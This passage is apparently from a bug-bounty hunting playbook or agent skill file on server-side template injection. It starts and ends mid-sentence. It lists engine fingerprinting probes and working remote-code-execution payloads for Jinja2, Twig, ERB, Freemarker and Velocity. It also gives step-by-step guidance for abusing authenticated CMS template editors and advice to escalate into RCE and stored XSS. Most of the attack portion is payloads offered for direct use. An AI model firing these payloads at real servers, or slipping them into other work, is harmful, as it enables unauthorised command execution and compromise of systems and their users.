` or `
`), that still counts — the format is irrelevant, the content is the evidence.
## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
### Detection Payloads (try all)
```
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
```
### RCE Payloads
**Jinja2 (Python/Flask):**
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```
**Twig (PHP/Symfony):**
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```
**ERB (Ruby):**
```ruby
<%= `id` %>
```
### Where to Test
```
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
```
### CMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:
1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the
whole matrix and read which one evaluates:
```
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring)
```
If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.
2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to
`POST /…/template?productId=N` with the id in the URL. The BODY carries only
`csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns
`400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
form-encoded body of `csrf=…&template=&template-action=preview`.
3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh*
`csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
loop). Switch to `template-action=save` only once the payload is right, then trigger the render
(load the public page that uses the template) to fire the command.
**Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
```
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
```
Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.
---
## Related Skills & Chains
- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `